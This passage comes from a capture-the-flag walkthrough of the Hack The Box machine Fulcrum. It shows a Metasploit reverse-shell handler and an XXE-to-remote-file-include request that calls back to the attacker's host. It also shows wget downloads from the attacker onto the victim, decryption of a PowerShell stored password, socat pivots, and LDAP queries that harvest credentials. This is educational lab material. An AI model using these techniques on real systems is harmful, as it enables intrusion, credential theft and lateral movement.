No encoder or badchars specified, outputting raw payload
Payload size: 3036 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;You are going to need to serve your payload with some sort of webserver. A python3 &lt;code class=&quot;highlighter-rouge&quot;&gt;http.server&lt;/code&gt; is a quick way to throw up a webserver to host content.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;setting up python http.server&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Setting up metasploit multi handler to catch shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use exploit/multi/handler
msf exploit(multi/handler) &amp;gt; set PAYLOAD php/reverse_php
PAYLOAD =&amp;gt; php/reverse_php
msf exploit(multi/handler) &amp;gt; set LHOST tun0
LHOST =&amp;gt; tun0
msf exploit(multi/handler) &amp;gt; set LPORT 443
LPORT =&amp;gt; 443
msf exploit(multi/handler) &amp;gt; set ExitOnSession False
ExitOnSession =&amp;gt; false
msf exploit(multi/handler) &amp;gt; exploit -j -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.15.74:443
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now all we need to do is to use our XXE vulnerability to craft a URL to fetch our payload to exploit the file include.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;raw request in burpsuite for exploiting the XXE to php file-include&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET / HTTP/1.1

Host: 10.10.10.62:56423
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 131


&amp;lt;!DOCTYPE root [

&amp;lt;!ENTITY % remote SYSTEM &quot;http://127.0.0.1:4/index.php?page=http://10.10.15.74/443&quot;&amp;gt;

%remote; %intern; %xxe;

]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Sweet got a shell, but getting a shell is only the beginning…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;getting a shell after successful exploitation&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt; [*] Command shell session 1 opened (10.10.15.74:443 -&amp;gt; 10.10.10.62:47692) at 2018-06-21 22:09:31 -0400

msf exploit(multi/handler) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/uploads
ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct  5  2017 .
drwxr-xr-x 6 root root 4096 Oct  5  2017 ..
-rw-r--r-- 1 root root  714 Oct  4  2017 Fulcrum_Upload_to_Corp.ps1
-rw-r--r-- 1 root root  321 Oct  4  2017 home.php
-rw-r--r-- 1 root root  255 Oct  5  2017 index.php
-rw-r--r-- 1 root root  113 Oct  4  2017 upload.php
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This shell is extremely unstable &amp;amp; will die after a few minutes, so I recommend throwing yourself a regular socat/netcat shell.&lt;/p&gt;

&lt;h2 id=&quot;pivoting&quot;&gt;Pivoting&lt;/h2&gt;
&lt;h3 id=&quot;decryptingrecovering-credentials-in-script-for-psremoting&quot;&gt;Decrypting/Recovering Credentials in Script for PSRemoting&lt;/h3&gt;

&lt;p&gt;Interestly we discover that there is a powershell script on the box, this is pretty unusual because this machine is labelled as a Linux system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Contents of Fulcrum_Upload_to_Corp.ps1&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Powershell&quot;&gt;# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We can modify the script slightly so that it decrypts the password for us.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;decrypt.ps1&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Powershell&quot;&gt;$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
$4 = $3 | ConvertTo-SecureString -key $2
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($4))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Password of WebUser&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\&amp;gt; .\decrypt.ps1
M4ng£m£ntPa55
PS C:\&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;discovering-192168122x-network&quot;&gt;Discovering 192.168.122.x Network&lt;/h3&gt;
&lt;p&gt;After decrypting the password, the next step was to search for additional containers, virtual machines, or connected networks.&lt;/p&gt;

&lt;p&gt;Running an &lt;code class=&quot;highlighter-rouge&quot;&gt;ifconfig&lt;/code&gt; we see this machine has many interfaces, which is extremely usual for a Hack the Box machine. A network address that stands our is &lt;code class=&quot;highlighter-rouge&quot;&gt;192.168.122.1&lt;/code&gt; which is very strange. Likely this machine is dual-homed.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;ifconfig output&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:~$ ifconfig
corp      Link encap:Ethernet  HWaddr 52:54:00:87:ee:c0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:412 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32601 (32.6 KB)  TX bytes:0 (0.0 B)

ens32     Link encap:Ethernet  HWaddr 00:50:56:b9:44:f1
          inet addr:10.10.10.62  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: dead:beef::250:56ff:feb9:44f1/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:44f1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:72492 errors:0 dropped:82 overruns:0 frame:0
          TX packets:35844 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11175820 (11.1 MB)  TX bytes:5982295 (5.9 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:241 errors:0 dropped:0 overruns:0 frame:0
          TX packets:241 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:18409 (18.4 KB)  TX bytes:18409 (18.4 KB)

virbr0    Link encap:Ethernet  HWaddr 52:54:00:9c:e7:10
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50375 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3317157 (3.3 MB)  TX bytes:2463028 (2.4 MB)

vnet0     Link encap:Ethernet  HWaddr fe:54:00:32:d7:13
          inet6 addr: fe80::fc54:ff:fe32:d713/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4904 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16218 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:493632 (493.6 KB)  TX bytes:1118993 (1.1 MB)

vnet1     Link encap:Ethernet  HWaddr fe:54:00:74:9d:17
          inet6 addr: fe80::fc54:ff:fe74:9d17/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61628 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4059899 (4.0 MB)  TX bytes:3048416 (3.0 MB)

vnet2     Link encap:Ethernet  HWaddr fe:54:00:32:59:e0
          inet6 addr: fe80::fc54:ff:fe32:59e0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6321 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18278 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:599472 (599.4 KB)  TX bytes:2537511 (2.5 MB)

vnet3     Link encap:Ethernet  HWaddr fe:54:00:82:69:f5
          inet6 addr: fe80::fc54:ff:fe82:69f5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3146 errors:0 dropped:0 overruns:0 frame:0
          TX packets:15213 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:244122 (244.1 KB)  TX bytes:915975 (915.9 KB)

vnet4     Link encap:Ethernet  HWaddr fe:54:00:01:c6:b8
          inet6 addr: fe80::fc54:ff:fe01:c6b8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7031 errors:0 dropped:0 overruns:0 frame:0
          TX packets:17564 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1952435 (1.9 MB)  TX bytes:1184340 (1.1 MB)

vnet5     Link encap:Ethernet  HWaddr fe:54:00:8f:b9:f9
          inet6 addr: fe80::fc54:ff:fe8f:b9f9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1821 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12593 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:289587 (289.5 KB)  TX bytes:785970 (785.9 KB)

web       Link encap:Ethernet  HWaddr 52:54:00:15:08:7e
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:583 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:65505 (65.5 KB)  TX bytes:0 (0.0 B)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;To reduce our scope a bit, we can check the arp table, and see which machines that this machine has talked to recently.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:~$ arp -a

? (10.10.10.2) at 00:50:56:aa:9c:8d [ether] on ens32
? (192.168.122.228) at 52:54:00:74:9d:17 [ether] on virbr0
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We see that there is a live host at &lt;code class=&quot;highlighter-rouge&quot;&gt;192.168.122.228&lt;/code&gt;. Our next step was to discover what ports were open on this machine. There are many ways to scan a machine when you are on someone’s internal network, but I prefer to drop a statically compiled version of nmap (and associated modules) if I have the ability to do so. It saves time, and I want to feel at home when I’m on someone’s box.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmap.tar.gz
--2018-06-22 03:30:11--  http://10.10.15.74:6666/nmap.tar.gz
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4875842 (4.6M) [application/gzip]
Saving to: 'nmap.tar.gz'

nmap.tar.gz         100%[===================&amp;gt;]   4.65M  1.04MB/s    in 6.8s

2018-06-22 03:30:19 (705 KB/s) - 'nmap.tar.gz' saved [4875842/4875842]

www-data@Fulcrum:/tmp/.scan$ clear
TERM environment variable not set.
www-data@Fulcrum:/tmp/.scan$ ls
nmap.tar.gz
www-data@Fulcrum:/tmp/.scan$ tar -xvf nmap.tar.gz
...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Downloading our statically compiled nmap&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmapstatic
--2018-06-22 03:36:28--  http://10.10.15.74:6666/nmapstatic
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5944464 (5.7M) [application/octet-stream]
Saving to: 'nmapstatic'

nmapstatic          100%[===================&amp;gt;]   5.67M   576KB/s    in 11s

2018-06-22 03:36:40 (506 KB/s) - 'nmapstatic' saved [5944464/5944464]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;To scanning with our statically compiled nmap, we use the &lt;code class=&quot;highlighter-rouge&quot;&gt;--datadir&lt;/code&gt; option, with this we can portscan just like if we were doing it from our own box easily.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:/tmp/.scan$ ./nmapstatic --datadir nmap/ -p- 192.168.122.228

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-06-22 03:39 BST
Nmap scan report for 192.168.122.228
Host is up (0.0022s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
5986/tcp open  wsmans
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 165.06 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Like we thought, there seems to be a windows host attached with &lt;a href=&quot;https://blogs.technet.microsoft.com/christwe/2012/06/20/what-port-does-powershell-remoting-use/&quot;&gt;Powershell remoteing&lt;/a&gt; enabled.&lt;/p&gt;

&lt;h3 id=&quot;pivoting-from-fulcrum-host-to-192168122x-network&quot;&gt;Pivoting from Fulcrum Host to 192.168.122.x Network&lt;/h3&gt;

&lt;p&gt;To use PSRemoteing from my host machine properly, we are going to need to setup a pivot. The general gist of what we need to accomplish can be expressed with this diagram.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/11.png&quot; alt=&quot;&amp;quot;Pivot Setup&amp;quot;&quot; title=&quot;Pivot Setup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’m going to use &lt;code class=&quot;highlighter-rouge&quot;&gt;socat&lt;/code&gt; for a majority of this because it’s a tool I am very familiar with, and it’s pretty easy to use. Although you can achieve the same results, using Metasploit, ssh, or some other like-minded tool.&lt;/p&gt;

&lt;p&gt;We are going to listen for connections on port 55555 -&amp;gt; and relay that connection to &lt;code class=&quot;highlighter-rouge&quot;&gt;192.168.122.228&lt;/code&gt; on port 5986 (PSRemoting port).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;on fulcrum machine (10.10.10.62)&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@Fulcrum:/tmp/ ./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5986
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;on my kali box (192.168.30.130)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;What is this doing is that it’s going to listen for connections on port 5986 -&amp;gt; and relay that connection to 10.10.10.62 on port 55555.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:55555
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Now from my (local) Windows 10 host we can connect to my Kali host (192.168.30.130), and it will relay that connection through our pivots to the network we are attempting to reach. 
We need the additional &lt;em&gt;-SessionOption&lt;/em&gt;’s &lt;code class=&quot;highlighter-rouge&quot;&gt;SkipCACheck -SkipCNCheck&lt;/code&gt; because you  get two error messages stating that &lt;code class=&quot;highlighter-rouge&quot;&gt;The SSL certificate is signed by an unknown certificate authority.&lt;/code&gt; &amp;amp; &lt;code class=&quot;highlighter-rouge&quot;&gt;The SSL certificate contains a common name (CN) that does not match the hostname.&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\&amp;gt; Enter-PSSession -Computername 192.168.30.130 -Credential &quot;Webuser&quot; -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; $env:UserName
WebUser
[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; $env:UserDomain
WEBSERVER
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;pivoting-from-webserver-to-fileserver&quot;&gt;Pivoting from WebServer to FileServer&lt;/h3&gt;

&lt;p&gt;If you attempt to read the contents of the user flag, you get a message stating that &lt;code class=&quot;highlighter-rouge&quot;&gt;You need to go deeper!&lt;/code&gt;. Inspecting the &lt;code class=&quot;highlighter-rouge&quot;&gt;CheckFileServer.ps1&lt;/code&gt; powershell script, we can see that they are hinting that most likely there is another host on the network.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Powershell&quot;&gt;[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; dir


    Directory: C:\Users\WebUser\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/2/2017   8:39 PM            260 CheckFileServer.ps1
-a----       10/12/2017   4:23 AM          33266 Invoke-PsExec.ps1
-a----        10/2/2017   8:23 PM             24 user.txt



[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; type .\user.txt
You need to go deeper!

[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; type .\CheckFileServer.ps1
$Server = '127.0.0.1' # Waiting on IT to give me the address...
$Creds = Get-Credential -Message 'Please enter file server credentials'

Get-CimClass -ClassName win32_operatingsystem -ComputerName $Server -Credential $Creds

# TODO: can't get this to work
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Since the hostname of this system is &lt;em&gt;“WebServer”&lt;/em&gt; we should probably inspect the contents of the webroot… Inspecting the contents of the &lt;code class=&quot;highlighter-rouge&quot;&gt;web.config&lt;/code&gt; we find credentials which looks like it will allow us to run LDAP queries.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt; dir


    Directory: C:\inetpub\wwwroot


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/2/2017   8:09 PM           5359 index.htm
-a----        10/2/2017   8:11 PM           1310 web.config


[192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt; type web.config
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;configuration xmlns=&quot;http://schemas.microsoft.com/.NetConfiguration/v2.0&quot;&amp;gt;
    &amp;lt;appSettings /&amp;gt;
    &amp;lt;connectionStrings&amp;gt;
        &amp;lt;add connectionString=&quot;LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local&quot; name=&quot;ADServices&quot; /&amp;gt;
    &amp;lt;/connectionStrings&amp;gt;
    &amp;lt;system.web&amp;gt;
        &amp;lt;membership defaultProvider=&quot;ADProvider&quot;&amp;gt;
            &amp;lt;providers&amp;gt;
                &amp;lt;add name=&quot;ADProvider&quot; type=&quot;System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot; connectionStringName=&quot;ADConnString&quot; connectionUsername=&quot;FULCRUM\LDAP&quot; connectionPassword=&quot;PasswordForSearching123!&quot; attributeMapUsername=&quot;SAMAccountName&quot; /&amp;gt;
            &amp;lt;/providers&amp;gt;
        &amp;lt;/membership&amp;gt;
    &amp;lt;/system.web&amp;gt;
...[snip]...
[192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h4 id=&quot;querying-ldap-for-information&quot;&gt;Querying LDAP for Information&lt;/h4&gt;

&lt;p&gt;At the time, I didn’t bother writing a proper ldap queries, so I did the un-elegant method of just running an ldap query for absolutely every object/filter, and manually inspecting it for interesting information.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Querying LDAP in Powershell&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Powershell&quot;&gt;$username = 'LDAP'
$password = 'PasswordForSearching123!'
$DomainControllerIpAddress = 'dc.fulcrum.local'
$LdapDn = 'dc=fulcrum,dc=local'
$dn = New-Object System.DirectoryServices.DirectoryEntry (&quot;LDAP://$($DomainControllerIpAddress):389/$LdapDn&quot;,$username,$password)
$ds = new-object System.DirectoryServices.DirectorySearcher($dn)
$ds.filter = &quot;((ObjectClass=*))&quot;
$ds.SearchScope = &quot;subtree&quot;
$ds.PropertiesToLoad.Add(&quot;distinguishedName&quot;)
$ds.PropertiesToLoad.Add(&quot;sAMAccountName&quot;)
$ds.PropertiesToLoad.Add(&quot;lastLogon&quot;)
$ds.PropertiesToLoad.Add(&quot;memberOf&quot;)
$ds.PropertiesToLoad.Add(&quot;distinguishedname&quot;)
$ds.FindAll()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/8.png&quot; alt=&quot;&amp;quot;Fulcrum LDAP Query Output&amp;quot;&quot; title=&quot;Fulcrum LDAP Query Output&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Output:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...[snip]...
LDAP://dc.fulcrum.local:389/CN=FILE,CN=Computers,DC=fulcrum,DC=local                                                                             {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local                                                                        {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/OU=People,DC=fulcrum,DC=local                                                                                        {distinguishedname, adspath}
LDAP://dc.fulcrum.local:389/CN=LDAP Lookup,OU=People,DC=fulcrum,DC=local                                                                         {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/CN=be36,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=8631,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=9791,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=879f,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=953d,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=81b2,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=97f0,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From the output of our LDAP query we can see some interesting objects, include the name of the fileserver: &lt;em&gt;file.fulcrum.local&lt;/em&gt; , and a user different from the rest of the users “Bobby Tables”. We can run a more filtered query on the common name (CN) “bobby”, and we can now include all the properties mapped to this object.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Powershell&quot;&gt;$username = 'LDAP'
$password = 'PasswordForSearching123!'
$DomainControllerIpAddress = 'dc.fulcrum.local'
$LdapDn = 'dc=fulcrum,dc=local'
$dn = New-Object System.DirectoryServices.DirectoryEntry (&quot;LDAP://$($DomainControllerIpAddress):389/$LdapDn&quot;,$username,$password)
$ds = new-object System.DirectoryServices.DirectorySearcher($dn)
$ds.filter = &quot;((cn=bobby*))&quot;
$ds.SearchScope = &quot;subtree&quot;
$ds.PropertiesToLoad.Add(&quot;*&quot;)
$data = $ds.FindAll()
$data.Properties
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Doing so gives us the following output…&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Name                           Value
----                           -----
logoncount                     {18}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local}
description                    {Has logon rights to the file server}
usnchanged                     {143447}
instancetype                   {4}
name                           {Bobby Tables}
badpasswordtime                {131522885566857829}
pwdlastset                     {131514417841217344}
objectclass                    {top, person, organizationalPerson, user}
badpwdcount                    {0}
samaccounttype                 {805306368}
lastlogontimestamp             {131556801131693417}
usncreated                     {12878}
objectguid                     {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111}
info                           {Password set to ++FileServerLogon12345++}
whencreated                    {10/2/2017 6:06:57 PM}
adspath                        {LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
useraccountcontrol             {66048}
cn                             {Bobby Tables}
countrycode                    {0}
primarygroupid                 {513}
whenchanged                    {11/20/2017 7:35:13 PM}
dscorepropagationdata          {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM}
lastlogon                      {131556801131693417}
distinguishedname              {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
samaccountname                 {BTables}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0}
lastlogoff                     {0}
displayname                    {Bobby Tables}
accountexpires                 {9223372036854775807}
userprincipalname              {BTables@fulcrum.local}

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It seems that we might we have might discovered Bobby Tables credentials, and from the “description” he &lt;em&gt;should&lt;/em&gt; have logon rights to the file server (file.fulcrum.local).&lt;/p&gt;

&lt;h4 id=&quot;pivoting-to-filefulcrumlocal-with-nishang&quot;&gt;Pivoting to file.fulcrum.local with Nishang&lt;/h4&gt;

&lt;p&gt;Trying to enter another Powershell Remoting sessions gives us an error stating we can’t do multi-hop PSRemoting Sessions.  We also don’t have permissions to enable multi-session PSRemoting unfortunately because we aren’t administrators.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; Enter-PSSession -Computername file.fulcrum.local -Credential fulcrum.local\btables
Enter-PSSession : You are currently in a Windows PowerShell PSSession and cannot use the Enter-PSSession cmdlet to enter another PSSession.
    + CategoryInfo          : InvalidArgument: (:) [Enter-PSSession], ArgumentException
    + FullyQualifiedErrorId : RemoteHostDoesNotSupportPushRunspace,Microsoft.PowerShell.Commands.EnterPSSessionCommand

